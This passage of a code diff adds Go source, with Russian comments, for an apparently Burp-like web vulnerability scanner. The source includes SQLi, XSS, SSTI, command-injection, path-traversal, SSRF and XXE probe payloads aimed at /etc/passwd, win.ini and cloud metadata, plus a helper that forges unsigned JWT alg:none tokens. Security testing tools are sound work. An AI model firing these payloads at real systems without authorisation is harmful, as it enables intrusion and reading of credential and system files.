return &Store{}
|
||||
}
|
||||
|
||||
// Add сохраняет запись, присваивает ей ID и рассылает подписчикам.
|
||||
// Рассылка неблокирующая: если подписчик не успевает вычитывать канал,
|
||||
// запись всё равно остаётся в общей истории (доступна через All),
|
||||
// прокси-сервер из-за медленного TUI не подвиснет.
|
||||
func (s *Store) Add(e Entry) Entry {
|
||||
s.mu.Lock()
|
||||
s.nextID++
|
||||
e.ID = s.nextID
|
||||
s.entries = append(s.entries, e)
|
||||
subs := append([]chan Entry(nil), s.subs...)
|
||||
s.mu.Unlock()
|
||||
|
||||
for _, ch := range subs {
|
||||
select {
|
||||
case ch <- e:
|
||||
default:
|
||||
}
|
||||
}
|
||||
return e
|
||||
}
|
||||
|
||||
// All возвращает копию текущей истории — используется для первичной
|
||||
// загрузки TUI при старте, если прокси уже что-то успел перехватить.
|
||||
func (s *Store) All() []Entry {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
out := make([]Entry, len(s.entries))
|
||||
copy(out, s.entries)
|
||||
return out
|
||||
}
|
||||
|
||||
// Subscribe возвращает канал, в который будут падать все новые записи,
|
||||
// добавленные после момента подписки.
|
||||
func (s *Store) Subscribe() <-chan Entry {
|
||||
ch := make(chan Entry, 64)
|
||||
s.mu.Lock()
|
||||
s.subs = append(s.subs, ch)
|
||||
s.mu.Unlock()
|
||||
return ch
|
||||
}
|
||||
22
internal/scanner/canary.go
Normal file
22
internal/scanner/canary.go
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
package scanner
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
)
|
||||
|
||||
// randToken генерирует короткий случайный hex-токен — используется как
|
||||
// уникальная "канарейка" в XSS/SSTI-пробниках, чтобы отличить реальное
|
||||
// отражение payload'а от случайного совпадения с обычным контентом
|
||||
// страницы (тот же принцип, что и у Burp Collaborator-меток, только
|
||||
// без сетевого колбэка — здесь достаточно уникальности внутри ответа).
|
||||
func randToken(nBytes int) string {
|
||||
b := make([]byte, nBytes)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
// crypto/rand практически никогда не отказывает на нормальной ОС;
|
||||
// на случай отказа не блокируем сканирование, просто теряем
|
||||
// часть уникальности токена.
|
||||
return "wrfallback"
|
||||
}
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
335
internal/scanner/checks.go
Normal file
335
internal/scanner/checks.go
Normal file
|
|
@ -0,0 +1,335 @@
|
|||
package scanner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// timeBasedThreshold — насколько дольше baseline должен быть ответ,
|
||||
// чтобы засчитать time-based индикатор (для SQLi sleep/waitfor и для
|
||||
// RCE-инъекций). Пороговое значение осознанно консервативное: медленная
|
||||
// сеть/сервер сами по себе могут дать пару секунд разброса, а payload'ы
|
||||
// ниже спят по 5 секунд — трёхсекундный порог оставляет запас.
|
||||
const timeBasedThreshold = 3 * time.Second
|
||||
|
||||
// ---------------------------------------------------------------------
|
||||
// SQLi
|
||||
|
||||
type sqliCheck struct{}
|
||||
|
||||
func newSQLiCheck() *sqliCheck { return &sqliCheck{} }
|
||||
|
||||
func (c *sqliCheck) Name() string { return "SQLi" }
|
||||
|
||||
func (c *sqliCheck) Probes() []string {
|
||||
return []string{
|
||||
`'`,
|
||||
`''`,
|
||||
`' OR '1'='1`,
|
||||
`' OR SLEEP(5)-- -`,
|
||||
`1 OR SLEEP(5)`,
|
||||
`'; WAITFOR DELAY '0:0:5'--`,
|
||||
`' AND 1=CONVERT(int,(SELECT @@version))--`,
|
||||
}
|
||||
}
|
||||
|
||||
func (c *sqliCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||||
if resp.Err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
lower := strings.ToLower(resp.Body)
|
||||
for _, sig := range sqlErrorSignatures {
|
||||
if strings.Contains(lower, sig) {
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: "В теле ответа обнаружена сигнатура SQL-ошибки — вероятна SQL-инъекция",
|
||||
Payload: probe, Evidence: sig,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
probeLower := strings.ToLower(probe)
|
||||
if (strings.Contains(probeLower, "sleep") || strings.Contains(probeLower, "waitfor")) &&
|
||||
resp.Duration > baseline.Duration+timeBasedThreshold {
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: fmt.Sprintf("Time-based индикатор: ответ на %.1fs дольше baseline (payload содержит sleep/waitfor)",
|
||||
(resp.Duration - baseline.Duration).Seconds()),
|
||||
Payload: probe,
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var sqlErrorSignatures = []string{
|
||||
"sql syntax", "you have an error in your sql syntax", "mysql_fetch",
|
||||
"unclosed quotation mark", "quoted string not properly terminated",
|
||||
"pg_query", "postgresql", "sqlite3.operationalerror",
|
||||
"ora-01756", "ora-00933", "ora-00921",
|
||||
"microsoft ole db provider for sql server", "sqlstate", "syntax error at or near",
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------
|
||||
// XSS (reflected)
|
||||
|
||||
type xssCheck struct{ canary string }
|
||||
|
||||
func newXSSCheck() *xssCheck {
|
||||
return &xssCheck{canary: "wr" + randToken(4)}
|
||||
}
|
||||
|
||||
func (c *xssCheck) Name() string { return "XSS (reflected)" }
|
||||
|
||||
func (c *xssCheck) Probes() []string {
|
||||
tag := c.canary
|
||||
return []string{
|
||||
fmt.Sprintf(`<%s>alert(1)</%s>`, tag, tag),
|
||||
fmt.Sprintf(`"><%s>alert(1)</%s>`, tag, tag),
|
||||
fmt.Sprintf(`'><img src=x onerror=%s(1)>`, tag),
|
||||
fmt.Sprintf(`javascript:%s(1)`, tag),
|
||||
}
|
||||
}
|
||||
|
||||
func (c *xssCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||||
if resp.Err != nil {
|
||||
return nil
|
||||
}
|
||||
// Ищем канарейку в СЫРОМ виде (с угловыми скобками/как есть) — если
|
||||
// сервер её экранировал (<wrXXXX>), это не отражение, а
|
||||
// корректное поведение, и мы не должны его засчитывать как находку.
|
||||
if strings.Contains(resp.Body, "<"+c.canary) || strings.Contains(resp.Body, c.canary+"(1)") {
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: "Payload отражён в ответе без HTML-экранирования",
|
||||
Payload: probe, Evidence: c.canary,
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------
|
||||
// SSTI
|
||||
|
||||
type sstiCheck struct{}
|
||||
|
||||
func newSSTICheck() *sstiCheck { return &sstiCheck{} }
|
||||
|
||||
func (c *sstiCheck) Name() string { return "SSTI" }
|
||||
|
||||
// Множители подобраны так, чтобы их произведение (59975189) было
|
||||
// достаточно длинным и не встречалось в обычном ответе случайно —
|
||||
// в отличие от классического {{7*7}}, где "49" легко спутать с частью
|
||||
// другого числа на странице.
|
||||
func (c *sstiCheck) Probes() []string {
|
||||
return []string{
|
||||
`{{7349*8161}}`, // Jinja2, Twig, Nunjucks
|
||||
`${7349*8161}`, // FreeMarker, JSP EL, Thymeleaf
|
||||
`#{7349*8161}`, // Ruby ERB / некоторые Java EL
|
||||
`<%= 7349*8161 %>`, // ERB explicit
|
||||
`${{7349*8161}}`, // встречается как обход некоторых фильтров
|
||||
}
|
||||
}
|
||||
|
||||
func (c *sstiCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||||
if resp.Err != nil {
|
||||
return nil
|
||||
}
|
||||
if strings.Contains(resp.Body, "59975189") {
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: "Выражение вычислено сервером — шаблонизатор исполняет входные данные",
|
||||
Payload: probe, Evidence: "59975189",
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------
|
||||
// LFI
|
||||
|
||||
type lfiCheck struct{}
|
||||
|
||||
func newLFICheck() *lfiCheck { return &lfiCheck{} }
|
||||
|
||||
func (c *lfiCheck) Name() string { return "LFI" }
|
||||
|
||||
func (c *lfiCheck) Probes() []string {
|
||||
return []string{
|
||||
`../../../../etc/passwd`,
|
||||
`../../../../../../../../etc/passwd`,
|
||||
`....//....//....//etc/passwd`,
|
||||
`..%2f..%2f..%2fetc%2fpasswd`,
|
||||
`/etc/passwd`,
|
||||
`..\..\..\windows\win.ini`,
|
||||
`....\\....\\windows\\win.ini`,
|
||||
}
|
||||
}
|
||||
|
||||
func (c *lfiCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||||
if resp.Err != nil {
|
||||
return nil
|
||||
}
|
||||
switch {
|
||||
case strings.Contains(resp.Body, "root:x:0:0:") || strings.Contains(resp.Body, "root:*:0:0:"):
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: "В ответе обнаружено содержимое /etc/passwd", Payload: probe, Evidence: "root:",
|
||||
}
|
||||
case strings.Contains(resp.Body, "[boot loader]") || strings.Contains(strings.ToLower(resp.Body), "for 16-bit app support"):
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: "В ответе обнаружено содержимое win.ini", Payload: probe, Evidence: "[boot loader]",
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------
|
||||
// RCE (командная инъекция, time-based)
|
||||
|
||||
type rceCheck struct{}
|
||||
|
||||
func newRCECheck() *rceCheck { return &rceCheck{} }
|
||||
|
||||
func (c *rceCheck) Name() string { return "RCE (command injection)" }
|
||||
|
||||
func (c *rceCheck) Probes() []string {
|
||||
return []string{
|
||||
`; sleep 5`,
|
||||
`| sleep 5`,
|
||||
"`sleep 5`",
|
||||
`$(sleep 5)`,
|
||||
`|| sleep 5`,
|
||||
`& ping -n 6 127.0.0.1 &`,
|
||||
}
|
||||
}
|
||||
|
||||
func (c *rceCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||||
if resp.Err != nil {
|
||||
return nil
|
||||
}
|
||||
if resp.Duration > baseline.Duration+timeBasedThreshold {
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: fmt.Sprintf("Time-based индикатор: ответ на %.1fs дольше baseline",
|
||||
(resp.Duration - baseline.Duration).Seconds()),
|
||||
Payload: probe,
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------
|
||||
// SSRF (best-effort — см. оговорку в doc пакета)
|
||||
|
||||
type ssrfCheck struct{}
|
||||
|
||||
func newSSRFCheck() *ssrfCheck { return &ssrfCheck{} }
|
||||
|
||||
func (c *ssrfCheck) Name() string { return "SSRF" }
|
||||
|
||||
func (c *ssrfCheck) Probes() []string {
|
||||
return []string{
|
||||
`http://169.254.169.254/latest/meta-data/`,
|
||||
`http://localhost/`,
|
||||
`http://127.0.0.1/`,
|
||||
`http://[::1]/`,
|
||||
`file:///etc/passwd`,
|
||||
}
|
||||
}
|
||||
|
||||
func (c *ssrfCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||||
if resp.Err != nil {
|
||||
return nil
|
||||
}
|
||||
lower := strings.ToLower(resp.Body)
|
||||
|
||||
if strings.Contains(probe, "169.254.169.254") &&
|
||||
(strings.Contains(lower, "ami-id") || strings.Contains(lower, "instance-id") || strings.Contains(lower, "iam/security-credentials")) {
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: "В ответе признаки метаданных облака (AWS IMDS) — сервер выполнил запрос по нашему адресу",
|
||||
Payload: probe,
|
||||
}
|
||||
}
|
||||
if strings.Contains(probe, "file://") && strings.Contains(resp.Body, "root:x:0:0:") {
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: "Схема file:// — сервер прочитал локальный файл вместо обращения по сети",
|
||||
Payload: probe, Evidence: "root:",
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------
|
||||
// XXE
|
||||
|
||||
type xxeCheck struct{}
|
||||
|
||||
func newXXECheck() *xxeCheck { return &xxeCheck{} }
|
||||
|
||||
func (c *xxeCheck) Name() string { return "XXE" }
|
||||
|
||||
// Probes подставляют payload как ЦЕЛОЕ тело XML-документа — то есть
|
||||
// имеет смысл только если §маркером§ размечено всё тело запроса
|
||||
// целиком, а не отдельное значение внутри уже готового XML. Это
|
||||
// осознанное ограничение модели с одной точкой вставки: реальный XXE
|
||||
// почти всегда требует контроля над DOCTYPE в начале документа.
|
||||
func (c *xxeCheck) Probes() []string {
|
||||
return []string{
|
||||
`<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>`,
|
||||
`<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><data>&xxe;</data>`,
|
||||
}
|
||||
}
|
||||
|
||||
func (c *xxeCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||||
if resp.Err != nil {
|
||||
return nil
|
||||
}
|
||||
switch {
|
||||
case strings.Contains(resp.Body, "root:x:0:0:"):
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: "Внешняя сущность разыменована — в ответе содержимое /etc/passwd",
|
||||
Payload: probe, Evidence: "root:",
|
||||
}
|
||||
case strings.Contains(resp.Body, "[boot loader]"):
|
||||
return &Finding{
|
||||
Check: c.Name(), Severity: SeverityHigh,
|
||||
Detail: "Внешняя сущность разыменована — в ответе содержимое win.ini",
|
||||
Payload: probe, Evidence: "[boot loader]",
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// activeChecks — реестр всех активных проверок. Каждый вызов создаёт
|
||||
// новые экземпляры (важно для xssCheck/sstiCheck — у них своя
|
||||
// канарейка/константы на запуск сканирования, не разделяемая между
|
||||
// прогонами).
|
||||
func activeChecks() []Check {
|
||||
return []Check{
|
||||
newSQLiCheck(),
|
||||
newXSSCheck(),
|
||||
newSSTICheck(),
|
||||
newLFICheck(),
|
||||
newRCECheck(),
|
||||
newSSRFCheck(),
|
||||
newXXECheck(),
|
||||
}
|
||||
}
|
||||
|
||||
// AllCheckNames возвращает имена всех доступных активных проверок —
|
||||
// используется в TUI для построения списка с чекбоксами ("не гонять
|
||||
// всё подряд, если нужен только XSS").
|
||||
func AllCheckNames() []string {
|
||||
checks := activeChecks()
|
||||
names := make([]string, len(checks))
|
||||
for i, c := range checks {
|
||||
names[i] = c.Name()
|
||||
}
|
||||
return names
|
||||
}
|
||||
54
internal/scanner/cors.go
Normal file
54
internal/scanner/cors.go
Normal file
|
|
@ -0,0 +1,54 @@
|
|||
package scanner
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// CheckCORS отправляет клон req с произвольным Origin-заголовком
|
||||
// (уникальным на каждый вызов) и смотрит, отражает ли сервер этот
|
||||
// Origin в Access-Control-Allow-Origin — особенно опасно в сочетании
|
||||
// с Access-Control-Allow-Credentials: true, что открывает межсайтовый
|
||||
// доступ к аутентифицированным данным с любого сайта.
|
||||
//
|
||||
// В отличие от Check-проверок, CORS не подставляется в §маркер§ —
|
||||
// здесь модифицируется заголовок запроса, а не тело/параметр, поэтому
|
||||
// это отдельная функция, а не реализация интерфейса Check.
|
||||
func CheckCORS(client *http.Client, req *http.Request) (*Finding, error) {
|
||||
evilOrigin := "https://" + randToken(6) + ".burterm-cors-check.invalid"
|
||||
|
||||
probe := req.Clone(req.Context())
|
||||
probe.Header.Set("Origin", evilOrigin)
|
||||
|
||||
resp, err := client.Do(probe)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
acao := resp.Header.Get("Access-Control-Allow-Origin")
|
||||
acac := resp.Header.Get("Access-Control-Allow-Credentials")
|
||||
|
||||
switch {
|
||||
case acao == evilOrigin:
|
||||
sev := SeverityMedium
|
||||
detail := "Сервер отражает произвольный Origin в Access-Control-Allow-Origin"
|
||||
if strings.EqualFold(acac, "true") {
|
||||
sev = SeverityHigh
|
||||
detail += " вместе с Access-Control-Allow-Credentials: true — межсайтовый доступ к аутентифицированным данным с любого сайта"
|
||||
}
|
||||
return &Finding{Check: "CORS", Severity: sev, Detail: detail, Evidence: acao}, nil
|
||||
|
||||
case acao == "*" && strings.EqualFold(acac, "true"):
|
||||
// Браузер такую комбинацию по спецификации отклонит, но раз
|
||||
// сервер её всё же выставляет — это сигнал небрежной настройки,
|
||||
// стоит перепроверить остальные CORS-заголовки вручную.
|
||||
return &Finding{
|
||||
Check: "CORS", Severity: SeverityMedium,
|
||||
Detail: "Access-Control-Allow-Origin: * вместе с Allow-Credentials: true (браузеры отклонят эту комбинацию, но она сигнализирует о небрежной настройке)",
|
||||
Evidence: acao,
|
||||
}, nil
|
||||
}
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
111
internal/scanner/finding.go
Normal file
111
internal/scanner/finding.go
Normal file
|
|
@ -0,0 +1,111 @@
|
|||
// Package scanner реализует активные и пассивные проверки на типовые
|
||||
// классы уязвимостей (аналог Scanner в Burp): SQLi, XSS, SSTI, LFI,
|
||||
// RCE (командная инъекция), SSRF, XXE, CORS-мисконфигурация, JWT.
|
||||
//
|
||||
// Активные проверки (Check) переиспользуют ту же инфраструктуру
|
||||
// маркеров §...§ и engine.BuildRequest, что и Intruder — по сути,
|
||||
// Scanner это Intruder с фиксированным набором payload'ов на класс
|
||||
// уязвимости и анализом ответа вместо простого прогона.
|
||||
//
|
||||
// Честная оговорка про качество детекции, важная для трактовки
|
||||
// результатов:
|
||||
// - SQLi/LFI/SSTI/XXE — детект по сигнатурам в теле ответа плюс
|
||||
// time-based эвристика для слепых случаев. Ложноположительные
|
||||
// срабатывания возможны, особенно на time-based (просто медленный
|
||||
// сервер даст такой же эффект) — результаты Scanner это наводки
|
||||
// для ручной проверки, не готовый вердикт.
|
||||
// - SSRF — без out-of-band листенера (как Burp Collaborator) реальный
|
||||
// SSRF в общем случае не подтвердить; здесь только best-effort
|
||||
// проверка через облачные метадата-эндпоинты и file://, которые
|
||||
// иногда отражаются прямо в ответе.
|
||||
// - CORS/JWT — не задействуют Probes()/Analyze(), это отдельные
|
||||
// одноразовые проверки (CheckCORS, DecodeJWT) с другой формой
|
||||
// входных данных, поэтому не реализуют интерфейс Check.
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Severity — грубая оценка серьёзности находки. Не заменяет CVSS и
|
||||
// подобное — это просто сортировка "на что смотреть в первую очередь".
|
||||
type Severity int
|
||||
|
||||
const (
|
||||
SeverityInfo Severity = iota
|
||||
SeverityLow
|
||||
SeverityMedium
|
||||
SeverityHigh
|
||||
)
|
||||
|
||||
func (s Severity) String() string {
|
||||
switch s {
|
||||
case SeverityInfo:
|
||||
return "INFO"
|
||||
case SeverityLow:
|
||||
return "LOW"
|
||||
case SeverityMedium:
|
||||
return "MEDIUM"
|
||||
case SeverityHigh:
|
||||
return "HIGH"
|
||||
default:
|
||||
return "?"
|
||||
}
|
||||
}
|
||||
|
||||
// Finding — одна находка проверки.
|
||||
type Finding struct {
|
||||
Check string
|
||||
Severity Severity
|
||||
Detail string
|
||||
Payload string // что было отправлено (пусто для CORS/JWT — там нет единого "payload")
|
||||
Evidence string // фрагмент ответа/заголовка, подтверждающий находку
|
||||
}
|
||||
|
||||
// ProbeResult — минимальный набор данных об ответе, нужный проверкам.
|
||||
// Отделён от engine.Result по тому же принципу, что sitemap.Record
|
||||
// отделён от proxy.Entry — scanner не должен тянуть за собой знание
|
||||
// о внутреннем устройстве Intruder-движка сверх того, что реально нужно.
|
||||
type ProbeResult struct {
|
||||
StatusCode int
|
||||
Body string
|
||||
Headers http.Header
|
||||
Duration time.Duration
|
||||
Err error
|
||||
}
|
||||
|
||||
// Check — активная проверка одного класса уязвимости через подстановку
|
||||
// payload'ов в одну точку вставки (маркер).
|
||||
type Check interface {
|
||||
// Name — человекочитаемое имя, показывается в TUI и в Finding.Check.
|
||||
Name() string
|
||||
// Probes — payload'ы, которые по очереди подставляются в маркер.
|
||||
Probes() []string
|
||||
// Analyze решает, есть ли находка, сравнивая ответ на probe с
|
||||
// baseline (ответ на нейтральное/исходное значение той же точки).
|
||||
// Возвращает nil, если находки нет.
|
||||
Analyze(probe string, resp, baseline ProbeResult) *Finding
|
||||
}
|
||||
|
||||
// EventKind различает два вида сообщений в потоке Scanner.Run: тик
|
||||
// прогресса (ещё один пробник отправлен) и собственно находку.
|
||||
type EventKind int
|
||||
|
||||
const (
|
||||
EventProgress EventKind = iota
|
||||
EventFinding
|
||||
)
|
||||
|
||||
// Event — одно сообщение из канала Scanner.Run. Kind говорит, какое из
|
||||
// полей заполнено: Finding (при EventFinding) или Done/Total (при
|
||||
// EventProgress). Объединение прогресса и находок в один канал/тип —
|
||||
// осознанное решение: TUI всё равно должен читать их последовательно
|
||||
// из одного потока, заводить два отдельных канала ради этого не давало
|
||||
// бы ничего, кроме сложности синхронизации между ними.
|
||||
type Event struct {
|
||||
Kind EventKind
|
||||
Finding Finding // валидно при Kind == EventFinding
|
||||
Done int // валидно при Kind == EventProgress — сколько пробников уже отправлено
|
||||
Total int // общее число пробников в этом прогоне (включая baseline)
|
||||
}
|
||||
116
internal/scanner/jwt.go
Normal file
116
internal/scanner/jwt.go
Normal file
|
|
@ -0,0 +1,116 @@
|
|||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// JWTInfo — разобранный JWT: header/payload как обычные map (без
|
||||
// строгой схемы, потому что claims произвольны), плюс findings от
|
||||
// пассивного анализа.
|
||||
type JWTInfo struct {
|
||||
Header map[string]interface{}
|
||||
Payload map[string]interface{}
|
||||
Findings []Finding
|
||||
}
|
||||
|
||||
// DecodeJWT разбирает токен на header/payload (без проверки подписи —
|
||||
// это как раз то, что должна уметь любая программа, читающая JWT, без
|
||||
// знания секрета) и прогоняет пассивный анализ через analyzeJWT.
|
||||
func DecodeJWT(token string) (*JWTInfo, error) {
|
||||
parts := strings.Split(strings.TrimSpace(token), ".")
|
||||
if len(parts) < 2 {
|
||||
return nil, fmt.Errorf("не похоже на JWT: ожидалось минимум 2 сегмента через точку, получено %d", len(parts))
|
||||
}
|
||||
|
||||
headerBytes, err := base64.RawURLEncoding.DecodeString(parts[0])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("header: %w", err)
|
||||
}
|
||||
payloadBytes, err := base64.RawURLEncoding.DecodeString(parts[1])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("payload: %w", err)
|
||||
}
|
||||
|
||||
info := &JWTInfo{}
|
||||
if err := json.Unmarshal(headerBytes, &info.Header); err != nil {
|
||||
return nil, fmt.Errorf("header не валидный JSON: %w", err)
|
||||
}
|
||||
if err := json.Unmarshal(payloadBytes, &info.Payload); err != nil {
|
||||
return nil, fmt.Errorf("payload не валидный JSON: %w", err)
|
||||
}
|
||||
|
||||
info.Findings = analyzeJWT(info)
|
||||
return info, nil
|
||||
}
|
||||
|
||||
// analyzeJWT — пассивные проверки без единого сетевого запроса: смотрим
|
||||
// только на то, что уже видно в декодированном токене.
|
||||
func analyzeJWT(info *JWTInfo) []Finding {
|
||||
var findings []Finding
|
||||
|
||||
alg, hasAlg := info.Header["alg"].(string)
|
||||
switch {
|
||||
case !hasAlg:
|
||||
findings = append(findings, Finding{
|
||||
Check: "JWT", Severity: SeverityMedium,
|
||||
Detail: "В заголовке нет поля alg — нестандартный токен, стоит разобраться отдельно",
|
||||
})
|
||||
case strings.EqualFold(alg, "none"):
|
||||
findings = append(findings, Finding{
|
||||
Check: "JWT", Severity: SeverityHigh,
|
||||
Detail: "Заголовок уже объявляет alg: none — если сервер это принимает, подпись не нужна вообще",
|
||||
})
|
||||
case strings.HasPrefix(strings.ToUpper(alg), "HS"):
|
||||
findings = append(findings, Finding{
|
||||
Check: "JWT", Severity: SeverityInfo,
|
||||
Detail: fmt.Sprintf("Симметричный алгоритм %s — стоит попробовать подобрать секрет по словарю (burterm это не делает автоматически, нужен внешний инструмент вроде hashcat)", alg),
|
||||
})
|
||||
}
|
||||
|
||||
if _, ok := info.Payload["exp"]; !ok {
|
||||
findings = append(findings, Finding{
|
||||
Check: "JWT", Severity: SeverityMedium,
|
||||
Detail: "В payload нет поля exp — токен не истекает",
|
||||
})
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
// AlgNoneVariant возвращает вариант токена с тем же header (кроме alg,
|
||||
// заменённого на "none") и тем же payload, но без подписи вообще —
|
||||
// классический payload для проверки, не принимает ли сервер токены без
|
||||
// подписи (CVE-класс "JWT alg:none bypass"). Результат нужно вручную
|
||||
// вставить в запрос (например, через Repeater) — сама подстановка в
|
||||
// заголовок Authorization зависит от того, как конкретное приложение
|
||||
// его использует, и это не автоматизируется универсально.
|
||||
func AlgNoneVariant(token string) (string, error) {
|
||||
parts := strings.Split(strings.TrimSpace(token), ".")
|
||||
if len(parts) < 2 {
|
||||
return "", fmt.Errorf("не похоже на JWT")
|
||||
}
|
||||
|
||||
headerBytes, err := base64.RawURLEncoding.DecodeString(parts[0])
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("header: %w", err)
|
||||
}
|
||||
|
||||
var header map[string]interface{}
|
||||
if err := json.Unmarshal(headerBytes, &header); err != nil {
|
||||
return "", fmt.Errorf("header не валидный JSON: %w", err)
|
||||
}
|
||||
header["alg"] = "none"
|
||||
|
||||
newHeaderBytes, err := json.Marshal(header)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("сериализация header: %w", err)
|
||||
}
|
||||
newHeader := base64.RawURLEncoding.EncodeToString(newHeaderBytes)
|
||||
|
||||
// Подпись убирается целиком — остаётся завершающая точка без
|
||||
// третьего сегмента, это и есть канонический вид alg:none токена.
|
||||
return newHeader + "." + parts[1] + ".", nil
|
||||
}
|
||||
186
internal/scanner/scanner.go
Normal file
186
internal/scanner/scanner.go
Normal file
|
|
@ -0,0 +1,186 @@
|
|||
package scanner
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/engine"
|
||||
)
|
||||
|
||||
// maxBodyCapture — сколько байт тела ответа читаем для анализа сигнатур.
|
||||
// Больше, чем в Intruder (4КБ), потому что сигнатуры LFI/XXE/SQLi иногда
|
||||
// прячутся дальше в длинных страницах с логами/трассировками ошибок.
|
||||
const maxBodyCapture = 16 * 1024
|
||||
|
||||
// Config — параметры Scanner-клиента.
|
||||
type Config struct {
|
||||
Timeout time.Duration
|
||||
InsecureSkipVerify bool
|
||||
}
|
||||
|
||||
// Scanner выполняет активные проверки над одной точкой вставки запроса.
|
||||
type Scanner struct {
|
||||
client *http.Client
|
||||
}
|
||||
|
||||
// New создаёт Scanner с настроенным http.Client.
|
||||
func New(cfg Config) *Scanner {
|
||||
return &Scanner{
|
||||
client: &http.Client{
|
||||
Timeout: cfg.Timeout,
|
||||
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: cfg.InsecureSkipVerify}},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Run запускает выбранные проверки (по именам из checkNames, должны
|
||||
// совпадать с AllCheckNames) против одной точки вставки pointIndex.
|
||||
// base задаёт значения всех точек для baseline-запроса и для точек,
|
||||
// не участвующих в сканировании (та же идея, что и sniper-режим
|
||||
// в Intruder). Возвращает канал событий (прогресс + находки),
|
||||
// закрывающийся по завершении всех проверок или по отмене ctx.
|
||||
func (s *Scanner) Run(ctx context.Context, clean string, points []engine.InsertionPoint, pointIndex int, base []string, checkNames []string) (<-chan Event, error) {
|
||||
if pointIndex < 0 || pointIndex >= len(points) {
|
||||
return nil, fmt.Errorf("некорректный индекс точки вставки: %d (всего точек: %d)", pointIndex, len(points))
|
||||
}
|
||||
if len(base) != len(points) {
|
||||
return nil, fmt.Errorf("base должен быть длины %d, получено %d", len(points), len(base))
|
||||
}
|
||||
|
||||
selected := make([]Check, 0, len(checkNames))
|
||||
for _, c := range activeChecks() {
|
||||
if containsName(checkNames, c.Name()) {
|
||||
selected = append(selected, c)
|
||||
}
|
||||
}
|
||||
if len(selected) == 0 {
|
||||
return nil, fmt.Errorf("не выбрано ни одной проверки")
|
||||
}
|
||||
|
||||
// +1 за baseline-запрос — он тоже реальный HTTP-запрос и тоже
|
||||
// должен учитываться в прогрессе, иначе N/Total разъедется на 1.
|
||||
total := 1
|
||||
for _, check := range selected {
|
||||
total += len(check.Probes())
|
||||
}
|
||||
|
||||
out := make(chan Event)
|
||||
|
||||
go func() {
|
||||
defer close(out)
|
||||
done := 0
|
||||
|
||||
emit := func(e Event) bool {
|
||||
select {
|
||||
case out <- e:
|
||||
return true
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
baseline := s.probe(ctx, clean, points, pointIndex, base, base[pointIndex])
|
||||
done++
|
||||
if !emit(Event{Kind: EventProgress, Done: done, Total: total}) {
|
||||
return
|
||||
}
|
||||
|
||||
for _, check := range selected {
|
||||
for _, p := range check.Probes() {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
